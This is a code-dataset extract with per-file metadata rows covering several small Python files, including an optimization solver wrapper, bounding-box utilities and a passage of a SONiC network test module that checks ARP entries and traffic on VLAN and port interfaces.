| 137.95 | 4,512 | 0.593331 | 2,540 | 13,795 | 3.079528 | 0.095276 | 0.07057 | 0.073383 | 0.023012 | 0.479801 | 0.395935 | 0.278062 | 0.266428 | 0.252365 | 0.240348 | 0 | 0.223512 | 0.10714 | 13,795 | 99 | 4,513 | 139.343434 | 0.411545 | 0.006089 | 0 | 0.022472 | 1 | 0.011236 | 0.486429 | 0.001897 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
5746d3ec83403c78496f5aed26a201354c64de02 | 68 | py | Python | python01.py | vamsikrishna2k6/PythonV3_02 | 07db3ecefdf76f3050625ded30f451377f8c4ff0 | [
"Unlicense"
] | null | null | null | python01.py | vamsikrishna2k6/PythonV3_02 | 07db3ecefdf76f3050625ded30f451377f8c4ff0 | [
"Unlicense"
] | null | null | null | python01.py | vamsikrishna2k6/PythonV3_02 | 07db3ecefdf76f3050625ded30f451377f8c4ff0 | [
"Unlicense"
] | null | null | null | print('Hello \t World' "\n hey")
print('hello', "hey!", 1 + 2, 3) | 22.666667 | 34 | 0.529412 | 12 | 68 | 3 | 0.75 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054545 | 0.191176 | 68 | 3 | 35 | 22.666667 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0.42029 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
57511ce957a942ceb831a9161d373687872555fd | 4,327 | py | Python | code-experiments/build/python/opt_ia_python_solver.py | ysakanaka/coco | ebd5c30ccc83910755e379322b23d60a4b72ef38 | [
"BSD-3-Clause"
] | null | null | null | code-experiments/build/python/opt_ia_python_solver.py | ysakanaka/coco | ebd5c30ccc83910755e379322b23d60a4b72ef38 | [
"BSD-3-Clause"
] | null | null | null | code-experiments/build/python/opt_ia_python_solver.py | ysakanaka/coco | ebd5c30ccc83910755e379322b23d60a4b72ef38 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import, division, print_function
import numpy as np
import sys
#sys.path.append('/home/ysakanaka/Opt_IA/opt-ia_python')
sys.path.append('/Users/ysakanaka/Program/Research/Opt-IA_python')
import optIA
def opt_IA_master(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget, max_chunk_size)
return x_min
def opt_IA(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget)
return x_min
def opt_IA_random_generation(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds, sobol=False)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget)
return x_min
def opt_IA_reset_age(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds, ra=True)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget)
return x_min
def opt_IA_search_assist(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds, ssa=True)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget)
return x_min
def opt_IA_surrogate_assist(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds, sua = True)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget)
return x_min
def opt_IA_surrogate_and_search_assist(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
opt_ia = optIA.OptIA(fun, lbounds, ubounds, ssa = True, sua = True)
max_chunk_size = 1 + 4e4 / dim
x_min = opt_ia.opt_ia(budget)
return x_min
# ===============================================
# the most basic example solver
# ===============================================
def random_search(fun, lbounds, ubounds, budget):
"""Efficient implementation of uniform random search between
`lbounds` and `ubounds`
"""
lbounds, ubounds = np.array(lbounds), np.array(ubounds)
dim, x_min, f_min = len(lbounds), None, None
max_chunk_size = 1 + 4e4 / dim
while budget > 0:
chunk = int(max([1, min([budget, max_chunk_size])]))
# about five times faster than "for k in range(budget):..."
X = lbounds + (ubounds - lbounds) * np.random.rand(chunk, dim) # X is candidate array
if fun.number_of_constraints > 0:
C = [fun.constraint(x) for x in X] # call constraints eval
F = [fun(x) for i, x in enumerate(X) if np.all(C[i] <= 0)] # eval
else:
F = [fun(x) for x in X] # eval
if fun.number_of_objectives == 1:
index = np.argmin(F) if len(F) else None
if index is not None and (f_min is None or F[index] < f_min):
x_min, f_min = X[index], F[index]
budget -= chunk
return x_min
| 33.542636 | 93 | 0.648717 | 628 | 4,327 | 4.294586 | 0.152866 | 0.057471 | 0.09455 | 0.026696 | 0.751205 | 0.745273 | 0.731554 | 0.731554 | 0.731554 | 0.731554 | 0 | 0.008562 | 0.217241 | 4,327 | 128 | 94 | 33.804688 | 0.787718 | 0.219089 | 0 | 0.555556 | 0 | 0 | 0.014426 | 0.014426 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.055556 | 0 | 0.277778 | 0.013889 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
93867f9217ac7882749888cf577b269878165ee3 | 135 | py | Python | rust.py | alexcormier/dotbot-rust | d9515dca0b5b8b56692b81690c8dc2937dc5c76c | [
"0BSD"
] | 3 | 2020-12-07T00:06:07.000Z | 2022-01-02T16:31:25.000Z | rust.py | alexcormier/dotbot-rust | d9515dca0b5b8b56692b81690c8dc2937dc5c76c | [
"0BSD"
] | 1 | 2018-11-30T02:46:30.000Z | 2018-12-01T00:32:58.000Z | rust.py | alexcormier/dotbot-rust | d9515dca0b5b8b56692b81690c8dc2937dc5c76c | [
"0BSD"
] | 5 | 2018-03-22T15:28:36.000Z | 2022-01-02T16:31:26.000Z | import os
import sys
sys.path.append(os.path.dirname(os.path.realpath(__file__)))
from cargo import Cargo
from rustup import Rustup
| 15 | 60 | 0.792593 | 22 | 135 | 4.681818 | 0.5 | 0.116505 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118519 | 135 | 8 | 61 | 16.875 | 0.865546 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.8 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9386f1e7df9aeaaab92ef2bd74d25be1b89cfc61 | 94 | py | Python | accounts/admin.py | CMPUT404-stev-sand-pant-ashw-mehr/CMPUT404-stev-sand-pant-ashw-mehr-repo | 0f96d938e9e3ec51103f2b20cb9673bd0b145343 | [
"MIT"
] | null | null | null | accounts/admin.py | CMPUT404-stev-sand-pant-ashw-mehr/CMPUT404-stev-sand-pant-ashw-mehr-repo | 0f96d938e9e3ec51103f2b20cb9673bd0b145343 | [
"MIT"
] | 50 | 2021-10-08T00:01:43.000Z | 2021-12-06T06:34:29.000Z | accounts/admin.py | CMPUT404-stev-sand-pant-ashw-mehr/CMPUT404-stev-sand-pant-ashw-mehr-repo | 0f96d938e9e3ec51103f2b20cb9673bd0b145343 | [
"MIT"
] | null | null | null | from django.contrib import admin
from accounts.models import Node
admin.site.register(Node)
| 15.666667 | 32 | 0.819149 | 14 | 94 | 5.5 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117021 | 94 | 5 | 33 | 18.8 | 0.927711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
938c4c78865070958bf83e7c345e28313b633b71 | 285 | py | Python | vislab/features/__init__.py | hertzmann/vislab | fcded208637fb51edfeaef1bde0bf766f9af1941 | [
"BSD-2-Clause"
] | 113 | 2015-01-20T18:13:21.000Z | 2021-08-08T05:17:57.000Z | vislab/features/__init__.py | Jai-Chaudhary/vislab | 9bb0e2b332797d7a6deb2b8d6b6e98d3c692cee6 | [
"BSD-2-Clause"
] | 2 | 2015-06-08T18:10:22.000Z | 2017-10-10T02:45:53.000Z | vislab/features/__init__.py | Jai-Chaudhary/vislab | 9bb0e2b332797d7a6deb2b8d6b6e98d3c692cee6 | [
"BSD-2-Clause"
] | 70 | 2015-01-07T03:08:05.000Z | 2022-02-13T13:04:04.000Z | """
Copyright Sergey Karayev - 2013.
Written partially during internship at Adobe CTL, San Francisco.
"""
from misc import caffe
from misc import size
from misc import gist
from misc import lab_hist
from misc import gbvs_saliency
from misc import mc_bit
from dsift import dsift_llc
| 19 | 64 | 0.8 | 45 | 285 | 4.977778 | 0.6 | 0.214286 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016807 | 0.164912 | 285 | 14 | 65 | 20.357143 | 0.92437 | 0.340351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
93be93e2956042cc8d6863e92107509b59e25e08 | 37 | py | Python | saves_bot/constants.py | Gaming32/no-counting-unless-saves | 1f5b8af9bd1970ff01c09f92de28931a5266b133 | [
"MIT"
] | null | null | null | saves_bot/constants.py | Gaming32/no-counting-unless-saves | 1f5b8af9bd1970ff01c09f92de28931a5266b133 | [
"MIT"
] | null | null | null | saves_bot/constants.py | Gaming32/no-counting-unless-saves | 1f5b8af9bd1970ff01c09f92de28931a5266b133 | [
"MIT"
] | null | null | null | COUNTING_BOT_ID = 510016054391734273
| 18.5 | 36 | 0.891892 | 4 | 37 | 7.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.529412 | 0.081081 | 37 | 1 | 37 | 37 | 0.382353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
93cc71ca86e12c04e837bb96c104de59a5b21931 | 111 | py | Python | exercicio/exercicio4.py | jessicsous/Curso_Python | 94c9b70ec03022b21ac23bf85918aa20ce4cfdd1 | [
"MIT"
] | 1 | 2021-09-21T01:50:10.000Z | 2021-09-21T01:50:10.000Z | exercicio/exercicio4.py | jessicsous/Curso_Python | 94c9b70ec03022b21ac23bf85918aa20ce4cfdd1 | [
"MIT"
] | null | null | null | exercicio/exercicio4.py | jessicsous/Curso_Python | 94c9b70ec03022b21ac23bf85918aa20ce4cfdd1 | [
"MIT"
] | 1 | 2021-10-04T19:49:04.000Z | 2021-10-04T19:49:04.000Z | '''
for / while
0 10
1 9
2 8
3 7
4 6
5 5
6 4
7 3
8 2
'''
for p, r in enumerate(range(10,1,-1)):
print(p,r)
| 7.4 | 38 | 0.531532 | 32 | 111 | 1.84375 | 0.59375 | 0.101695 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.294872 | 0.297297 | 111 | 14 | 39 | 7.928571 | 0.461538 | 0.432432 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
93f366c2f9c9b110125c75212948a2e63c170ab7 | 397 | py | Python | pydfs_lineup_optimizer/solvers/__init__.py | bmjjr/pydfs-lineup-optimizer | 71176ac440832965291780f8e5a2c3f13bd234cd | [
"MIT"
] | null | null | null | pydfs_lineup_optimizer/solvers/__init__.py | bmjjr/pydfs-lineup-optimizer | 71176ac440832965291780f8e5a2c3f13bd234cd | [
"MIT"
] | null | null | null | pydfs_lineup_optimizer/solvers/__init__.py | bmjjr/pydfs-lineup-optimizer | 71176ac440832965291780f8e5a2c3f13bd234cd | [
"MIT"
] | null | null | null | from pydfs_lineup_optimizer.solvers.base import Solver
from pydfs_lineup_optimizer.solvers.pulp_solver import PuLPSolver
from pydfs_lineup_optimizer.solvers.constants import SolverSign
from pydfs_lineup_optimizer.solvers.exceptions import SolverException, SolverInfeasibleSolutionException
__all__ = ['Solver', 'PuLPSolver', 'SolverSign', 'SolverException', 'SolverInfeasibleSolutionException']
| 49.625 | 104 | 0.869018 | 40 | 397 | 8.3 | 0.4 | 0.108434 | 0.180723 | 0.289157 | 0.373494 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065491 | 397 | 7 | 105 | 56.714286 | 0.894879 | 0 | 0 | 0 | 0 | 0 | 0.186398 | 0.083123 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9e0ecacee75fbd9bf27a9577659cc86a48b2cef0 | 1,495 | py | Python | data/operator/bbox/rasterized/utility/image.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 143 | 2021-12-03T02:33:36.000Z | 2022-03-29T00:01:48.000Z | data/operator/bbox/rasterized/utility/image.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 33 | 2021-12-03T10:32:05.000Z | 2022-03-31T02:13:55.000Z | data/operator/bbox/rasterized/utility/image.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 24 | 2021-12-04T06:46:42.000Z | 2022-03-30T07:57:47.000Z | def get_image_bounding_box(image_size):
from data.operator.bbox.rasterized.xywh2xyxy import bbox_xywh2xyxy
return bbox_xywh2xyxy((0, 0, image_size[0], image_size[1]))
def bounding_box_is_intersect_with_image(bounding_box, image_size):
image_bounding_box = get_image_bounding_box(image_size)
from data.operator.bbox.intersection import bbox_get_intersection
from data.operator.bbox.validity import bbox_is_valid
return bbox_is_valid(bbox_get_intersection(image_bounding_box, bounding_box))
def bounding_box_is_intersect_with_image_polygon(bounding_box, image_size):
from data.operator.bbox.utility.polygon import get_shapely_polygon_object
from data.operator.bbox.xyxy2polygon import bbox_xyxy2polygon
A = get_shapely_polygon_object(bbox_xyxy2polygon(bounding_box))
image_bounding_box = get_image_bounding_box(image_size)
B = get_shapely_polygon_object(bbox_xyxy2polygon(image_bounding_box))
return A.intersection(B).area > 0
def bounding_box_fit_in_image_boundary(bbox, image_size):
image_bounding_box = get_image_bounding_box(image_size)
from data.operator.bbox.intersection import bbox_fit_in_boundary
return bbox_fit_in_boundary(bbox, image_bounding_box)
def bounding_box_fit_in_image_boundary_polygon(bbox, image_size):
image_bounding_box = get_image_bounding_box(image_size)
from data.operator.bbox.intersection import bbox_fit_in_boundary_polygon
return bbox_fit_in_boundary_polygon(bbox, image_bounding_box)
| 46.71875 | 81 | 0.833445 | 221 | 1,495 | 5.167421 | 0.149321 | 0.202277 | 0.196147 | 0.122592 | 0.660245 | 0.578809 | 0.510508 | 0.394921 | 0.359895 | 0.321366 | 0 | 0.008975 | 0.105686 | 1,495 | 31 | 82 | 48.225806 | 0.845176 | 0 | 0 | 0.173913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0.304348 | 0 | 0.73913 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
9e13df93d62d27b0801a2eecad772df8d4522589 | 137 | py | Python | Model/FileChooserModel.py | fredtux/ProblemCheckerCLI | 1b911889375633d72fdea06d2cd4df8fea177378 | [
"MIT"
] | null | null | null | Model/FileChooserModel.py | fredtux/ProblemCheckerCLI | 1b911889375633d72fdea06d2cd4df8fea177378 | [
"MIT"
] | null | null | null | Model/FileChooserModel.py | fredtux/ProblemCheckerCLI | 1b911889375633d72fdea06d2cd4df8fea177378 | [
"MIT"
] | null | null | null | class FileChooserModel:
@staticmethod
def choose(input_text):
"""Ask for input file"""
return input(input_text)
| 19.571429 | 32 | 0.642336 | 15 | 137 | 5.733333 | 0.733333 | 0.209302 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.262774 | 137 | 6 | 33 | 22.833333 | 0.851485 | 0.131387 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
f508a3b4b6880f8151c1048f46a73ac22e3a4a9b | 15,128 | py | Python | spytest/tests/routing/test_arp.py | mykolaf/sonic-mgmt | de77268526173c5e3a345f3f3703b56eb40c5eed | [
"Apache-2.0"
] | 1 | 2021-09-15T17:09:13.000Z | 2021-09-15T17:09:13.000Z | spytest/tests/routing/test_arp.py | mykolaf/sonic-mgmt | de77268526173c5e3a345f3f3703b56eb40c5eed | [
"Apache-2.0"
] | 1 | 2020-02-05T16:51:53.000Z | 2020-02-05T16:51:53.000Z | spytest/tests/routing/test_arp.py | mykolaf/sonic-mgmt | de77268526173c5e3a345f3f3703b56eb40c5eed | [
"Apache-2.0"
] | null | null | null | import pytest
from spytest import st, tgapi, SpyTestDict
import apis.routing.arp as arp_obj
import apis.routing.ip as ip_obj
import apis.system.interface as interface_obj
import apis.switching.vlan as vlan_obj
import apis.switching.mac as mac
data = SpyTestDict()
data.d1t1_ip_addr = "192.168.11.1"
data.t1d1_ip_addr = "192.168.11.2"
data.t1d1_mac_addr = "00:00:00:00:00:01"
data.d1t2_ip_addr = "192.168.12.1"
data.t2d1_ip_addr = "192.168.12.2"
data.t2d1_mac_addr = "00:00:00:00:00:02"
data.static_arp_ip_1 = "192.168.11.4"
data.static_arp_mac = "00:00:00:00:00:66"
data.static_arp_ip = "192.168.12.3"
data.static_arp_mac_1 = "00:00:00:00:00:77"
data.mask = "24"
data.vlan_1 = 64
data.vlan_int_1 = "Vlan{}".format(data.vlan_1)
data.clear_parallel = False
@pytest.fixture(scope="module", autouse=True)
def arp_module_hooks(request):
global vars, tg_handler, tg, dut1, d1_mac_addr, h1, h2
# Min topology verification
vars = st.ensure_min_topology("D1T1:2")
# Initialize TG and TG port handlers
tg_handler = tgapi.get_handles_byname("T1D1P1", "T1D1P2")
tg = tg_handler["tg"]
# Test setup details
data.my_dut_list = st.get_dut_names()
dut1 = data.my_dut_list[0]
# Test variables
d1_mac_addr = mac.get_sbin_intf_mac(dut1, "eth0")
# ARP module configuration
st.log("ARP module configuration.")
ip_obj.config_ip_addr_interface(dut1, vars.D1T1P1, data.d1t1_ip_addr, data.mask)
vlan_obj.create_vlan(dut1, data.vlan_1)
vlan_obj.add_vlan_member(dut1, data.vlan_1, vars.D1T1P2, True)
ip_obj.config_ip_addr_interface(dut1, data.vlan_int_1, data.d1t2_ip_addr, data.mask)
# TG ports reset
st.log("Resetting the TG ports")
tg.tg_traffic_control(action="reset", port_handle=tg_handler["tg_ph_list"])
# TG protocol interface creation
st.log("TG protocol interface creation")
h1 = tg.tg_interface_config(port_handle=tg_handler["tg_ph_1"], mode='config',
intf_ip_addr=data.t1d1_ip_addr,gateway=data.d1t1_ip_addr,
src_mac_addr=data.t1d1_mac_addr,arp_send_req='1')
st.log("INTFCONF: "+str(h1))
h2 = tg.tg_interface_config(port_handle=tg_handler["tg_ph_2"], mode='config',
intf_ip_addr=data.t2d1_ip_addr,gateway=data.d1t2_ip_addr,
src_mac_addr=data.t2d1_mac_addr,arp_send_req='1',vlan_id=data.vlan_1,vlan=1)
st.log("INTFCONF: "+str(h2))
yield
# ARP module cleanup
st.log("ARP module cleanup.")
ip_obj.clear_ip_configuration(dut1,family="ipv4",thread=data.clear_parallel)
vlan_obj.clear_vlan_configuration(dut1,thread= data.clear_parallel)
@pytest.fixture(scope="function", autouse=True)
def arp_func_hooks(request):
# ARP function configuration
yield
# ARP function cleanup
def test_ft_arp_entry_link_failure():
################# Author Details ################
# Name: Rakesh Kumar Vooturi
# Email: rakesh-kumar.vooturi@broadcom.com
#################################################
#
# Objective - Verify an ARP table entry learned on port based routing interface is
# removed from ARP table after link failure on which that entry is learned.
# Objective - Verify an ARP table entry learned on vlan based routing interface is
# removed from ARP table after link failure on which that entry is learned
#
############### Test bed details ################
# DUT-----TG
#################################################
# Ping from tgen to DUT.
res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_1"], dev_handle=h1['handle'],
dst_ip=data.d1t1_ip_addr,ping_count='1', exp_count='1')
if res:
st.log("Ping succeeded.")
else:
st.warn("Ping failed.")
res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_2"], dev_handle=h2['handle'],
dst_ip=data.d1t2_ip_addr,ping_count='1', exp_count='1')
st.log("PING_RES: " + str(res))
if res:
st.log("Ping succeeded.")
else:
st.warn("Ping failed.")
# Verify dynamic arp entries
st.log("Verifying the arp entries on the DUT.")
if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1)
st.log("Verifying the arp entries on the DUT")
if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1)
# Shutdown the routing interface link.
st.log("Shutdown the routing interface links.")
if not interface_obj.interface_operation(dut1, [vars.D1T1P1, vars.D1T1P2] , "shutdown"):
st.report_fail('interface_admin_shut_down_fail', [vars.D1T1P1, vars.D1T1P2])
# Verify dynamic arp entries
st.log("Verifying the arp entries on the DUT.")
if arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1):
st.report_fail("ARP_dynamic_entry_removal_fail", data.t1d1_ip_addr, vars.D1T1P1)
st.log("Verifying the arp entries on the DUT")
if arp_obj.verify_arp(dut1,data.t2d1_ip_addr):
st.report_fail("ARP_dynamic_entry_removal_fail", data.t2d1_ip_addr, vars.D1T1P2)
# Startup the routing interface link.
st.log("Startup the routing interface link.")
if not interface_obj.interface_operation(dut1, [vars.D1T1P1, vars.D1T1P2], "startup"):
st.report_fail('interface_admin_startup_fail', [vars.D1T1P1, vars.D1T1P2])
st.wait(5)
# Verify dynamic arp entries
st.log("Verifying the arp entries on the DUT.")
if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1)
st.log("Verifying the arp entries on the DUT")
if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1):
st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1)
st.report_pass("test_case_passed")
@pytest.fixture(scope="function")
def fixture_ft_arp_dynamic_renew_traffic_test(request):
yield
arp_obj.set_arp_ageout_time(dut1,60)
def test_ft_arp_dynamic_renew_traffic_test(fixture_ft_arp_dynamic_renew_traffic_test):
################## Author Details ################
# Name: Rakesh Kumar Vooturi
# Email: rakesh-kumar.vooturi@broadcom.com
##################################################
#
# Objective - Verify a dynamic ARP table entry can be created.
# Objective - Verify that there is no data traffic loss during ARP dynamic review.
#
############### Test bed details ################
# TG-----DUT-----TG
#################################################
# Set DUT values
st.log("Setting the DUT values")
arp_obj.set_arp_ageout_time(dut1,5)
# Ping from tgen to DUT.
res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_1"], dev_handle=h1['handle'],
dst_ip=data.d1t1_ip_addr,ping_count='1', exp_count='1')
if res:
st.log("Ping succeeded.")
else:
st.warn("Ping failed.")
res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_2"], dev_handle=h2['handle'],
dst_ip=data.d1t2_ip_addr,ping_count='1', exp_count='1')
if res:
st.log("Ping succeeded.")
else:
st.warn("Ping failed.")
# TG ports reset
st.log("Resetting the TG ports")
tg.tg_traffic_control(action="clear_stats", port_handle=tg_handler["tg_ph_list"])
#TG stream formation
s1 = tg.tg_traffic_config(port_handle= tg_handler["tg_ph_2"],mode='create',rate_pps=10,
mac_src=data.t2d1_mac_addr,transmit_mode="continuous",mac_dst=d1_mac_addr,
l2_encap='ethernet_ii_vlan',l3_protocol="ipv4",ip_dst_addr=data.t1d1_ip_addr,
ip_src_addr=data.t2d1_ip_addr,vlan_id=data.vlan_1,vlan="enable")
tg.tg_traffic_control(action="run", stream_handle=s1['stream_id'])
# Waiting for more than arp ageout time
st.wait(10)
tg.tg_traffic_control(action="stop", stream_handle=s1['stream_id'])
# Adding sleep
st.wait(2)
st.log("Checking the stats and verifying the traffic flow")
traffic_details = {
'1': {
'tx_ports': [vars.T1D1P2],
'tx_obj': [tg],
'exp_ratio': [1],
'rx_ports': [vars.T1D1P1],
'rx_obj': [tg],
}
}
if not tgapi.validate_tgen_traffic(traffic_details=traffic_details, mode='aggregate', comp_type='packet_count'):
st.report_fail("traffic_verification_failed")
else:
st.log("traffic verification passed")
st.report_pass("test_case_passed")
@pytest.fixture(scope="function")
def fixture_ft_arp_clear_cache_static_and_dynamic_entries(request):
yield
arp_obj.delete_static_arp(dut1, data.static_arp_ip)
arp_obj.delete_static_arp(dut1, data.static_arp_ip_1)
@pytest.mark.community
@pytest.mark.community_pass
